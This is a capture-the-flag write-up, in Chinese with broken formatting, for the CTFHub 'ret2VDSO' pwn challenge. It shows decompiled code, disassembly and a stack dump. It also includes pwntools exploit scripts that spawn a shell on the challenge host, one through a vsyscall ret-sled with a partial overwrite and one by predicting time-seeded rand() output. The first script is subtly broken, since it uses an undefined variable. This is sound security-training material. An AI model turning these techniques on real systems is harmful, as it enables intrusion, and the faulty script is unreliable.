Arch: amd64-64-little<br>
RELRO: Partial RELRO<br>
Stack: No canary found<br>
NX: NX enabled<br>
PIE: PIE enabled<br>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
int
getint()
{
/
/
buf大小为
16
字节
char buf[
16
];
/
/
[rsp
+
0h
] [rbp
-
10h
]
/
/
仅允许用户输入
8
个字节
read(
0
, buf,
8uLL
);
return
atoi(buf);
/
/
将输入转为数字并返回
}
int
menu()
{
puts(
"------welcome------"
);
puts(
"1.get gift"
);
puts(
"2.overflow"
);
puts(
"3.exit"
);
puts(
"[+]give me your choice:"
);
return
getint();
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
unsigned
int
seed;
/
/
eax
int
inputNum;
/
/
ebx
char buf[
56
];
/
/
[rsp
+
0h
] [rbp
-
50h
] BYREF
int
choice;
/
/
[rsp
+
38h
] [rbp
-
18h
]
int
counter;
/
/
[rsp
+
3Ch
] [rbp
-
14h
]
setvbuf(_bss_start,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
1
,
0LL
);
counter
=
2
;
do
{
if
( !counter )
/
/
如果counter为
0
则结束循环
break
;
choice
=
menu();
/
/
获取用户输入
if
( choice
=
=
1
)
{
-
-
counter;
puts(
"input num:"
);
seed
=
time(
0LL
);
/
/
将当前时间戳作为seed【不安全的引用】
srand(seed);
inputNum
=
getint();
/
/
获取用户输入【注意是先获取seed后才等待输入】
if
( inputNum
=
=
rand() )
/
/
对比输入和rand结果,如果一致则直接getshell
system(
"/bin/sh"
);
}
if
( choice
=
=
2
)
{
-
-
counter;
puts(
"hello from ctfhub"
);
read(
0
, buf,
0xD0uLL
);
/
/
【栈溢出】
}
}
while
( choice !
=
3
);
/
/
即使输入
3
也会再跑一次循环【逻辑错误】
return
0
;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
|
.text:
0000000000000A38
;
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
.text:
0000000000000A38
public main
.text:
0000000000000A38
main proc near ; DATA XREF: _start
+
1D
↑o
.text:
0000000000000A38
.text:
0000000000000A38
buf
=
byte ptr
-
50h
.text:
0000000000000A38
choice
=
dword ptr
-
18h
.text:
0000000000000A38
counter
=
dword ptr
-
14h
.text:
0000000000000A38
.text:
0000000000000A38
; __unwind {
.text:
0000000000000A38
push rbp
.text:
0000000000000A39
mov rbp, rsp
.text:
0000000000000A3C
push rbx
.text:
0000000000000A3D
sub rsp,
48h
.text:
0000000000000A41
;
8
: setvbuf(_bss_start,
0LL
,
2
,
0LL
);
.text:
0000000000000A41
mov rax, cs:__bss_start
.text:
0000000000000A48
mov ecx,
0
; n
.text:
0000000000000A4D
mov edx,
2
; modes
.text:
0000000000000A52
mov esi,
0
; buf
.text:
0000000000000A57
mov rdi, rax ; stream
.text:
0000000000000A5A
call _setvbuf
.text:
0000000000000A5A
.text:
0000000000000A5F
;
9
: setvbuf(stdin,
0LL
,
1
,
0LL
);
.text:
0000000000000A5F
mov rax, cs:stdin@@GLIBC_2_2_5
.text:
0000000000000A66
mov ecx,
0
; n
.text:
0000000000000A6B
mov edx,
1
; modes
.text:
0000000000000A70
mov esi,
0
; buf
.text:
0000000000000A75
mov rdi, rax ; stream
.text:
0000000000000A78
call _setvbuf
.text:
0000000000000A78
.text:
0000000000000A7D
;
10
: v8
=
2
;
.text:
0000000000000A7D
mov [rbp
+
counter],
2
.text:
0000000000000A84
jmp loc_B10
.text:
0000000000000A84
.text:
0000000000000A89
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
.text:
0000000000000A89
;
15
: choice
=
getInput();
.text:
0000000000000A89
.text:
0000000000000A89
loc_A89: ; CODE XREF: main
+
DC↓j
.text:
0000000000000A89
mov eax,
0
.text:
0000000000000A8E
call printMenu ; 打印菜单并获取用户输入数字
.text:
0000000000000A8E
;
1
:getGift,判断用户输入和随机数是否相同
.text:
0000000000000A8E
;
2
:overflow,栈溢出
.text:
0000000000000A8E
;
3
:结束
.text:
0000000000000A8E
.text:
0000000000000A93
mov [rbp
+
choice], eax
.text:
0000000000000A96
;
16
:
if
( choice
=
=
1
)
.text:
0000000000000A96
cmp
[rbp
+
choice],
1
.text:
0000000000000A9A
jnz short loc_ADE
.text:
0000000000000A9A
.text:
0000000000000A9C
;
18
:
-
-
v8;
.text:
0000000000000A9C
sub [rbp
+
counter],
1
; ↓↓↓↓↓↓↓↓↓↓用户输入为
1
,getGift↓↓↓↓↓↓↓↓↓↓
.text:
0000000000000AA0
;
19
: puts(
"input num:"
);
.text:
0000000000000AA0
lea rdi, aInputNum ;
"input num:"
.text:
0000000000000AA7
call _puts
.text:
0000000000000AA7
.text:
0000000000000AAC
;
20
: seed
=
time(
0LL
);
.text:
0000000000000AAC
mov edi,
0
; timer
.text:
0000000000000AB1
call _time
.text:
0000000000000AB1
.text:
0000000000000AB6
;
21
: srand(seed);
.text:
0000000000000AB6
mov edi, eax ; seed
.text:
0000000000000AB8
call _srand
.text:
0000000000000AB8
.text:
0000000000000ABD
;
22
: inputNum
=
getInputNumber();
.text:
0000000000000ABD
mov eax,
0
.text:
0000000000000AC2
call getInputNumber
.text:
0000000000000AC2
.text:
0000000000000AC7
mov ebx, eax
.text:
0000000000000AC9
;
23
:
if
( inputNum
=
=
rand() )
.text:
0000000000000AC9
call _rand
.text:
0000000000000AC9
.text:
0000000000000ACE
cmp
ebx, eax
.text:
0000000000000AD0
jnz short loc_ADE
.text:
0000000000000AD0
.text:
0000000000000AD2
;system(
"/bin/sh"
);getShell代码位于mainAD2处
.text:
0000000000000AD2
lea rdi, command ;
"/bin/sh"
.text:
0000000000000AD9
call _system
; ↑↑↑↑↑↑↑↑↑↑↑用户输入为
1
:getGift↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:
0000000000000AD9
.text:
0000000000000ADE
;
26
:
if
( choice
=
=
2
)
.text:
0000000000000ADE
.text:
0000000000000ADE
loc_ADE: ; CODE XREF: main
+
62
↑j
.text:
0000000000000ADE
; main
+
98
↑j
.text:
0000000000000ADE
cmp
[rbp
+
choice],
2
.text:
0000000000000AE2
jnz short loc_B0A
; ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓用户输入为
2
:overflow↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
.text:
0000000000000AE2
.text:
0000000000000AE4
;
28
:
-
-
v8;
.text:
0000000000000AE4
sub [rbp
+
counter],
1
.text:
0000000000000AE8
;
29
: puts(
"hello from ctfhub"
);
.text:
0000000000000AE80
lea rdi, aHelloFromCtfhu ;
"hello from ctfhub"
.text:
0000000000000AEF
call _puts
.text:
0000000000000AEF
.text:
0000000000000AF4
;
30
: read(
0
, buf,
0xD0uLL
);
.text:
0000000000000AF4
lea rax, [rbp
+
buf]
.text:
0000000000000AF8
mov edx,
0D0h
; nbytes
.text:
0000000000000AFD
mov rsi, rax ; buf
.text:
0000000000000B00
mov edi,
0
; fd
.text:
0000000000000B05
call _read
; ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑用户输入为
2
:overflow↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:
0000000000000B05
.text:
0000000000000B0A
;
33
:
while
( choice !
=
3
);
.text:
0000000000000B0A
.text:
0000000000000B0A
loc_B0A: ; CODE XREF: main
+
AA↑j
.text:
0000000000000B0A
cmp
[rbp
+
choice],
3
.text:
0000000000000B0E
jz short loc_B1C
.text:
0000000000000B0E
.text:
0000000000000B10
;
13
:
if
( !v8 )
.text:
0000000000000B10
.text:
0000000000000B10
loc_B10: ; CODE XREF: main
+
4C
↑j
.text:
0000000000000B10
cmp
[rbp
+
counter],
0
.text:
0000000000000B14
;
14
:
break
;
.text:
0000000000000B14
jnz loc_A89
.text:
0000000000000B14
.text:
0000000000000B1A
jmp short loc_B1D
.text:
0000000000000B1A
.text:
0000000000000B1C
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
.text:
0000000000000B1C
.text:
0000000000000B1C
loc_B1C: ; CODE XREF: main
+
D6↑j
.text:
0000000000000B1C
nop
.text:
0000000000000B1C
.text:
0000000000000B1D
;
34
:
return
0
;
.text:
0000000000000B1D
.text:
0000000000000B1D
loc_B1D: ; CODE XREF: main
+
E2↑j
.text:
0000000000000B1D
mov eax,
0
.text:
0000000000000B22
add rsp,
48h
.text:
0000000000000B26
pop rbx
.text:
0000000000000B27
pop rbp
.text:
0000000000000B28
retn
.text:
0000000000000B28
; }
/
/
starts at A38
.text:
0000000000000B28
.text:
0000000000000B28
main endp
|
以下是main函数初始化完后的栈构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
00
:
0000
│ rsp
0x7fffffffdd00
◂—
0xd30
/
*
'0\r'
*
/
01
:
0008
│
0x7fffffffdd08
—▸
0x7fffffffe1c9
◂—
0x29aea5211c50d76b
02
:
0010
│
0x7fffffffdd10
—▸
0x7ffff7fc1000
◂— jg
0x7ffff7fc1047
/
/
此处是VDSO基址
03
:
0018
│
0x7fffffffdd18
◂—
0x10101000000
04
:
0020
│
0x7fffffffdd20
◂—
0x2
05
:
0028
│
0x7fffffffdd28
◂—
0x78bfbff
06
:
0030
│
0x7fffffffdd30
—▸
0x7fffffffe1d9
◂—
0x34365f363878
/
*
'x86_64'
*
/
07
:
0038
│
0x7fffffffdd38
◂—
0x64
/
*
'd'
*
/
08
:
0040
│
0x7fffffffdd40
◂—
0x1000
09
:
0048
│
0x7fffffffdd48
◂—
0x0
0a
:
0050
│ rbp
0x7fffffffdd50
◂—
0x1
0b
:
0058
│
0x7fffffffdd58
—▸
0x7ffff7c29d90
(__libc_start_call_main
+
128
) ◂— mov edi, eax
0c
:
0060
│
0x7fffffffdd60
◂—
0x0
0d
:
0068
│
0x7fffffffdd68
—▸
0x555555400a38
(main) ◂—
0xec834853e5894855
/
/
main函数起点,a38处
|
除了Canary之外的保护都开了,由于开启了PIE无法直接获悉具体指令地址,所以无法直接构建ROP<br>
- main函数分支 1 中存在不安全的引用以及
system(/bin/sh)
调用- main函数分支 2 中存在栈溢出漏洞
- main函数分支 3 存在逻辑错误
system
调用位于main函数中低2字节为0x0AD2
处
位于RBP-0x18
处是main函数地址<br>
位于RSP+0x10
处是VDSO基址
srand->seed
引用RBP-0x80
RBP-0x18
处为main函数地址system("/bin/sh")
调用位于main函数末2字节0xAD2
处retGadget
并填充至RBP+0x8
和RBP+0x10
处,使用Partial Write覆写位于RBP+0x18
处的main函数末2字节为0x0AD2
,使main函数结束后连续ret至system
调用处并成功getShell;vsyscall
是第一种也是最古老的一种用于加快系统调用的机制,它是Linux内核在用户空间映射的一块包含一些变量和系统调用实现的内存页,对于X86_64的架构可以在 Linux 内核的 找到关于这一内存区域的信息:<br>ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls
<br>或在GDB中 vmmap<br>0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
或cat /proc/1/maps | grep vsyscal<br>ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
对于这个实现方法,成功在本地打通并且getShell,但是在远程却并不适用,题目名叫做Ret2VDSO,直接使用Vsyscall我也觉得应该不是出题人本意,但是我并没有完全理解VDSO和该程序的利用,也没有找到相关类似题目的WP,根据我对vsyscall
和vdso
的理解推测或许是靶机上压根就没有vsyscall,所以对于栈溢出的利用仅到此为止;
我曾尝试爆破VDSO基址,并加上
0x5FC
作为偏移来作为RetGadGet
,但是这个方法不论是在远程还是本地都没成功,原因是在x64下,该地址有3个字节也既12位是随机的,不同于x32下仅有1字节,爆破概率是1/256;在本程序中爆破概率低达1/16777216,在绞尽脑汁想不出如何通过栈溢出来打通该程序时,确实抱着侥幸尝试过爆破VDSO基址,但不论本地还是远程最终都没能打通,即使打通了本地,也许我找的VDSO文件的ret偏移0x5FC
在远程上也并不适用,所以我最终放弃了
根据分析可知以下三点
system("/bin/sh")
time()==targetTime
后发出rand结果,使判断成功并且getShell<br>由于程序中的seed根据time()来生成,所以这是可以被预估的,只需要提前预估未来的某一个符合rand结果小于9位数用户可输入的时间戳并且等时间到时发送内容即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from
pwn
import
*
prog
=
"./ret2vdso"
local
=
False
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
if
local:
p
=
process(prog)
#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
#sleep(1)
else
:
p
=
remote(
"challenge-580595dffc0d543f.sandbox.ctfhub.com"
,
25533
)
vsys
=
0xffffffffff600000
payload
=
b
"\x00"
*
88
payload
+
=
p64(vsys)
*
2
+
p16(
0xAD2
)
r.sendafter(
"[+]give me your choice:\n"
,
"2"
)
r.sendafter(
"hello from ctfhub\n"
,payload)
r.interactive()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int
main(){
int
randNum
=
99999999
+
1
;
long
cTime
=
time(
0
)
+
15
;
while
(randNum >
99999999
){
srand(cTime);
randNum
=
rand();
if
(randNum <
=
99999999
){
break
;
}
cTime
=
cTime
+
1
;
}
printf(
"Time:%ld\n"
,cTime);
printf(
"rand:%d\n"
,randNum);
printf(
"rand:0x%x\n"
,randNum);
return
0
;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from
pwn
import
*
from
time
import
*
prog
=
"./ret2vdso"
local
=
False
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
if
local:
p
=
process(prog)
#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
#sleep(1)
else
:
p
=
remote(
"challenge-580595dffc0d543f.sandbox.ctfhub.com"
,
25533
)
targetTime
=
1678511159
targetRand
=
str
(
995880
)
firstTime
=
0
while
True
:
if
(
int
(time())
=
=
targetTime
+
1
):
#为什么+1下面有解释,远程可能存在挖网络延迟之类影响所以可能无法一次打通,需要多次尝试
p.sendafter(
"[+]give me your choice:\n"
,
"1"
)
#此处需要注意在玩家选择分支1后time()就已经被调用
firstTime
=
time()
break
;
p.recvuntil(
"input num:\n"
)
print
(
"use Time : {}"
.
format
(time()
-
firstTime))
#根据比对发现远程和本地两次发送数据间隔差距不大,但是在本地调试中却发现targetTime比程序调用的time要大1,所以在targetTime处+1
p.send(targetRand)
p.interactive()
p.close()
|
我对该机制的理解还是过于浅显,以至于无法用出题人希望的方式解出这道题,目 前这题作为遗留问题,在我理解深入后再回过头来思考这题的解法
find / -name '*vdso*.so*'
更多【[writeup]CTFHUB-ret2VDSO】相关视频教程:www.yxfzedu.com